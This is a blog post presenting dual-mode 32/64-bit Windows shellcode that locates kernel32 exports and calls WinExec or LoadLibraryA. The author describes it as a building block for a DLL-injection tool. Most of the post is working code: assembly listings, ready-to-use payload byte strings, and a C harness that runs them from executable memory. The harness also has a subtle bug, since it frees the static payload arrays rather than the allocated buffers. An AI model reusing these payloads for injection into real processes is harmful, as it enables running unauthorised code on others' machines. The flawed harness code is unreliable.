Asmcodes: Platform Independent PIC for Loading DLL and Executing Commands

Introduction

A Position Independent Code (PIC) is a set of CPU instructions that will execute successfully regardless of where it resides in memory.

The general idea is that it doesn’t depend on any external API or library and if it does, it’ll locate what it needs and still manage to run smoothly. Shellcodes and viruses tend to behave this way.

While developing a tool to perform DLL injection on Windows, I wanted a dual mode PIC so that only one code was required instead of 2 for each CPU mode on x86 architecture.

Peter Ferrie and Berend-Jan “SkyLined” Wever already published something to execute calc.exe which is what I’ve modified to allow executing command lines and loading DLL into remote process.

Qkumba’s code

Yasm allows mixing 32 and 64-bit code which is used for all assembly code shown here.
The following is a disassembly of his code that executes calc.exe on both 32-bit and 64-bit windows. The whole thing is 113 bytes.

_CalcPIC:
CalcPIC:
    bits 32
    xor    eax, eax
    push   eax
    push   0636c6163h        ; calc
    push   esp
    pop    ecx
    push   eax
    inc    eax
    xchg   eax, edx
    jz     x64
    push   ecx
    mov    esi, [fs:edx+2fh]
    mov    esi, [esi+0ch]
    mov    esi, [esi+0ch]
    lodsd
    mov    esi, [eax]
    mov    edi, [esi+18h]
    mov    dl, 50h
    jmp    lqe
    bits 64
x64:
    mov    dl, 60h
    sub    rsp, rdx
    mov    rsi, [gs:rdx]
    mov    rsi, [rsi+18h]
    mov    rsi, [rsi+10h]
    lodsq
    mov    rsi, [rax]
    mov    rdi, [rsi+30h]
lqe:
    add    edx, [rdi+3ch]
    mov    ebx, [rdi+rdx+28h]
    mov    esi, [rdi+rbx+20h]
    add    rsi, rdi
    mov    edx, [rdi+rbx+24h]
fwe:
    movzx  ebp, word [rdi+rdx]
    lea    rdx, [rdx+2]
    lodsd
    cmp    dword [rdi+rax], 'WinE'
    jne    fwe
    
    mov    esi, [rdi+rbx+1ch]
    add    rsi, rdi
    
    mov    esi, [rsi+4*rbp]
    add    rdi, rsi
    cdq
    call   rdi

Impressive, I know! This of course isn’t stable when executed because it’s not saving registers or returning to caller but there are versions provided include this.

This is just the barebones of code which obtains base of kernel32.dll and searches Export Address Table to locate WinExec before passing calc.exe as parameter.

I modified this code to call LoadLibrary() instead accepting path of DLL.

; for 64-bit upon entry, we assume stack is already
; aligned by 16 bytes. we save 4 registers, which
; is 32-bytes on 64-bit. we then need to allocate
; 32-bytes for homespace that WinExec might use.
; so 40 bytes is subtracted from stack pointer
; when call is made, stack will be aligned by 16 again
LoadLibraryPIC:
$@LoadLibraryPIC@4:
    bits 32
    push   ebx
    push   esi
    push   edi
    push   ebp
    sub    esp, 28h
    
    xor    eax, eax
    inc    eax
    xchg   eax, edx
    jz     x64

    push   ecx
    
    mov    esi, [fs:edx+2fh]
    mov    esi, [esi+0ch]
    mov    esi, [esi+0ch]
    lodsd
    mov    esi, [eax]
    mov    edi, [esi+18h]
    mov    dl, 50h
    jmp    lqe
    bits 64
x64:
    mov    dl, 60h
    mov    rsi, [gs:rdx]
    mov    rsi, [rsi+18h]
    mov    rsi, [rsi+10h]
    lodsq
    mov    rsi, [rax]
    mov    rdi, [rsi+30h]
lqe:
    add    edx, [rdi+3ch]
    mov    ebx, [rdi+rdx+28h]
    mov    esi, [rdi+rbx+20h]
    add    rsi, rdi
    mov    edx, [rdi+rbx+24h]
fwe:
    movzx  ebp, word [rdi+rdx]
    lea    rdx, [rdx+2]
    lodsd
    cmp    dword [rdi+rax], 'Load'
    jne    fwe
    cmp    byte [rdi+rax+0bh], 'A'
    jne    fwe
    
    mov    esi, [rdi+rbx+1ch]
    add    rsi, rdi
    
    mov    esi, [rsi+4*rbp]
    add    rdi, rsi
    call   rdi
    
    add    rsp, 28h
    pop    rbp
    pop    rdi
    pop    rsi
    pop    rbx
    ret

Here’s a test unit that compiles with Microsoft Visual Studio. The asmcodes are already included as C strings so you don’t have to assemble.

// Demonstrates Platform Independent PIC on Windows
// Assembly codes originally written by Peter Ferrie
// Modified to call LoadlibraryA and WinExec
// Odzhan

// note that on 64-bit windows, the uCmdShow is always SW_HIDE
// I only needed Loadlibrary PIC so I haven't bothered to change it.
//
#include <stdio.h>
#include <stdint.h>
#include <stdlib.h>
#include <string.h>

#include <windows.h>

#define LOADLIBRARY_SIZE 124

char LoadDLLPIC[]= {
  /* 0000 */ "\x53"                         /* push rbx                        */
  /* 0001 */ "\x56"                         /* push rsi                        */
  /* 0002 */ "\x57"                         /* push rdi                        */
  /* 0003 */ "\x55"                         /* push rbp                        */
  /* 0004 */ "\x83\xec\x28"                 /* sub esp, 0x28                   */
  /* 0007 */ "\x31\xc0"                     /* xor eax, eax                    */
  /* 0009 */ "\x40\x92"                     /* xchg edx, eax                   */
  /* 000B */ "\x74\x15"                     /* jz 0x22                         */
  /* 000D */ "\x51"                         /* push rcx                        */
  /* 000E */ "\x64\x8b\x72\x2f"             /* mov esi, [fs:rdx+0x2f]          */
  /* 0012 */ "\x8b\x76\x0c"                 /* mov esi, [rsi+0xc]              */
  /* 0015 */ "\x8b\x76\x0c"                 /* mov esi, [rsi+0xc]              */
  /* 0018 */ "\xad"                         /* lodsd                           */
  /* 0019 */ "\x8b\x30"                     /* mov esi, [rax]                  */
  /* 001B */ "\x8b\x7e\x18"                 /* mov edi, [rsi+0x18]             */
  /* 001E */ "\xb2\x50"                     /* mov dl, 0x50                    */
  /* 0020 */ "\xeb\x17"                     /* jmp 0x39                        */
  /* 0022 */ "\xb2\x60"                     /* mov dl, 0x60                    */
  /* 0024 */ "\x65\x48\x8b\x32"             /* mov rsi, [gs:rdx]               */
  /* 0028 */ "\x48\x8b\x76\x18"             /* mov rsi, [rsi+0x18]             */
  /* 002C */ "\x48\x8b\x76\x10"             /* mov rsi, [rsi+0x10]             */
  /* 0030 */ "\x48\xad"                     /* lodsq                           */
  /* 0032 */ "\x48\x8b\x30"                 /* mov rsi, [rax]                  */
  /* 0035 */ "\x48\x8b\x7e\x30"             /* mov rdi, [rsi+0x30]             */
  /* 0039 */ "\x03\x57\x3c"                 /* add edx, [rdi+0x3c]             */
  /* 003C */ "\x8b\x5c\x17\x28"             /* mov ebx, [rdi+rdx+0x28]         */
  /* 0040 */ "\x8b\x74\x1f\x20"             /* mov esi, [rdi+rbx+0x20]         */
  /* 0044 */ "\x48\x01\xfe"                 /* add rsi, rdi                    */
  /* 0047 */ "\x8b\x54\x1f\x24"             /* mov edx, [rdi+rbx+0x24]         */
  /* 004B */ "\x0f\xb7\x2c\x17"             /* movzx ebp, word [rdi+rdx]       */
  /* 004F */ "\x48\x8d\x52\x02"             /* lea rdx, [rdx+0x2]              */
  /* 0053 */ "\xad"                         /* lodsd                           */
  /* 0054 */ "\x81\x3c\x07\x4c\x6f\x61\x64" /* cmp dword [rdi+rax], 0x64616f4c */
  /* 005B */ "\x75\xee"                     /* jnz 0x4b                        */
  /* 005D */ "\x80\x7c\x07\x0b\x41"         /* cmp byte [rdi+rax+0xb], 0x41    */
  /* 0062 */ "\x75\xe7"                     /* jnz 0x4b                        */
  /* 0064 */ "\x8b\x74\x1f\x1c"             /* mov esi, [rdi+rbx+0x1c]         */
  /* 0068 */ "\x48\x01\xfe"                 /* add rsi, rdi                    */
  /* 006B */ "\x8b\x34\xae"                 /* mov esi, [rsi+rbp*4]            */
  /* 006E */ "\x48\x01\xf7"                 /* add rdi, rsi                    */
  /* 0071 */ "\xff\xd7"                     /* call rdi                        */
  /* 0073 */ "\x48\x83\xc4\x28"             /* add rsp, 0x28                   */
  /* 0077 */ "\x5d"                         /* pop rbp                         */
  /* 0078 */ "\x5f"                         /* pop rdi                         */
  /* 0079 */ "\x5e"                         /* pop rsi                         */
  /* 007A */ "\x5b"                         /* pop rbx                         */
  /* 007B */ "\xc3"                         /* ret                             */
};

#define WINEXEC_SIZE 119

char ExecPIC[]= {
  /* 0000 */ "\x53"                         /* push rbx                        */
  /* 0001 */ "\x56"                         /* push rsi                        */
  /* 0002 */ "\x57"                         /* push rdi                        */
  /* 0003 */ "\x55"                         /* push rbp                        */
  /* 0004 */ "\x83\xec\x28"                 /* sub esp, 0x28                   */
  /* 0007 */ "\x31\xc0"                     /* xor eax, eax                    */
  /* 0009 */ "\x40\x92"                     /* xchg edx, eax                   */
  /* 000B */ "\x74\x16"                     /* jz 0x23                         */
  /* 000D */ "\x50"                         /* push rax                        */
  /* 000E */ "\x51"                         /* push rcx                        */
  /* 000F */ "\x64\x8b\x72\x2f"             /* mov esi, [fs:rdx+0x2f]          */
  /* 0013 */ "\x8b\x76\x0c"                 /* mov esi, [rsi+0xc]              */
  /* 0016 */ "\x8b\x76\x0c"                 /* mov esi, [rsi+0xc]              */
  /* 0019 */ "\xad"                         /* lodsd                           */
  /* 001A */ "\x8b\x30"                     /* mov esi, [rax]                  */
  /* 001C */ "\x8b\x7e\x18"                 /* mov edi, [rsi+0x18]             */
  /* 001F */ "\xb2\x50"                     /* mov dl, 0x50                    */
  /* 0021 */ "\xeb\x17"                     /* jmp 0x3a                        */
  /* 0023 */ "\xb2\x60"                     /* mov dl, 0x60                    */
  /* 0025 */ "\x65\x48\x8b\x32"             /* mov rsi, [gs:rdx]               */
  /* 0029 */ "\x48\x8b\x76\x18"             /* mov rsi, [rsi+0x18]             */
  /* 002D */ "\x48\x8b\x76\x10"             /* mov rsi, [rsi+0x10]             */
  /* 0031 */ "\x48\xad"                     /* lodsq                           */
  /* 0033 */ "\x48\x8b\x30"                 /* mov rsi, [rax]                  */
  /* 0036 */ "\x48\x8b\x7e\x30"             /* mov rdi, [rsi+0x30]             */
  /* 003A */ "\x03\x57\x3c"                 /* add edx, [rdi+0x3c]             */
  /* 003D */ "\x8b\x5c\x17\x28"             /* mov ebx, [rdi+rdx+0x28]         */
  /* 0041 */ "\x8b\x74\x1f\x20"             /* mov esi, [rdi+rbx+0x20]         */
  /* 0045 */ "\x48\x01\xfe"                 /* add rsi, rdi                    */
  /* 0048 */ "\x8b\x54\x1f\x24"             /* mov edx, [rdi+rbx+0x24]         */
  /* 004C */ "\x0f\xb7\x2c\x17"             /* movzx ebp, word [rdi+rdx]       */
  /* 0050 */ "\x48\x8d\x52\x02"             /* lea rdx, [rdx+0x2]              */
  /* 0054 */ "\xad"                         /* lodsd                           */
  /* 0055 */ "\x81\x3c\x07\x57\x69\x6e\x45" /* cmp dword [rdi+rax], 0x456e6957 */
  /* 005C */ "\x75\xee"                     /* jnz 0x4c                        */
  /* 005E */ "\x8b\x74\x1f\x1c"             /* mov esi, [rdi+rbx+0x1c]         */
  /* 0062 */ "\x48\x01\xfe"                 /* add rsi, rdi                    */
  /* 0065 */ "\x8b\x34\xae"                 /* mov esi, [rsi+rbp*4]            */
  /* 0068 */ "\x48\x01\xf7"                 /* add rdi, rsi                    */
  /* 006B */ "\x99"                         /* cdq                             */
  /* 006C */ "\xff\xd7"                     /* call rdi                        */
  /* 006E */ "\x48\x83\xc4\x28"             /* add rsp, 0x28                   */
  /* 0072 */ "\x5d"                         /* pop rbp                         */
  /* 0073 */ "\x5f"                         /* pop rdi                         */
  /* 0074 */ "\x5e"                         /* pop rsi                         */
  /* 0075 */ "\x5b"                         /* pop rbx                         */
  /* 0076 */ "\xc3"                         /* ret                             */
};

typedef UINT (__fastcall *pWinExecPIC)(LPCSTR lpCmdLine, UINT uCmdShow); 
typedef HMODULE (__fastcall *pLoadLibPIC) (LPCTSTR lpFileName); 

void* init_func (char *asmcode, int len)
{
  // allocate write/executable memory for code
  void *sc = VirtualAlloc(0, len, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
  // copy code
  memcpy (sc, asmcode, len);
  // return pointer
  return sc;
}
void free_func (void* func) {
  VirtualFree(func, 0, MEM_RELEASE);
}
int main (int argc, char *argv[])
{
  int i;
  char opt;
  HMODULE base;
  UINT r;
  
  pWinExecPIC WinExecPIC=NULL;
  pLoadLibPIC LoadLibPIC=NULL;
  
  if (argc!=3) {
    printf ("\n  usage: pic [option] <parameter>\n\n");
    printf ("        -e <cmd>     WinExec\n");
    printf ("        -l <dll>     LoadLibrary\n");
    return 0;
  }
  
  WinExecPIC=(pWinExecPIC)init_func(ExecPIC, WINEXEC_SIZE);
  LoadLibPIC=(pLoadLibPIC)init_func(LoadDLLPIC, LOADLIBRARY_SIZE);
  
  for (i=1; i<argc; i++)
  {
    if (argv[i][0]=='/' || argv[i][0]=='-')
    {
      opt=argv[i][1];
      switch (opt) 
      {
        case 'e':
          r=WinExecPIC (argv[i+1], SW_SHOW);
          printf ("\nWinExec() %s\n", 
            r>31 ? "succeeded" : "failed");
          break;
        case 'l':
          base=LoadLibPIC (argv[i+1]);
          printf ("\nBase address of %s : %p\n", 
            argv[i+1], base);
          break;
        default:
          printf ("\n  unknown option: %c", opt);
          break;
      }
    }
  }
  if (WinExecPIC!=NULL) free_func(ExecPIC);
  if (LoadLibPIC!=NULL) free_func(LoadLibPIC);
  return 0;
}

Usage

Compiles with MSVC on windows.

usage: pic [option] <parameter>

        -e <cmd>     WinExec
        -l <dll>     LoadLibrary

C:>pic -l kernel32.dll

Base address of kernel32.dll : 00000000771A0000

C:>pic -l ws2_32.dll

Base address of ws2_32.dll : 000007FEFE3A0000
Advertisements
This entry was posted in assembly, programming and tagged , , , , . Bookmark the permalink.

One Response to Asmcodes: Platform Independent PIC for Loading DLL and Executing Commands

  1. Pingback: x86/x64 Platform Independent Code | MalDevBlog

Leave a Reply

Fill in your details below or click an icon to log in:

WordPress.com Logo

You are commenting using your WordPress.com account. Log Out / Change )

Twitter picture

You are commenting using your Twitter account. Log Out / Change )

Facebook photo

You are commenting using your Facebook account. Log Out / Change )

Google+ photo

You are commenting using your Google+ account. Log Out / Change )

Connecting to %s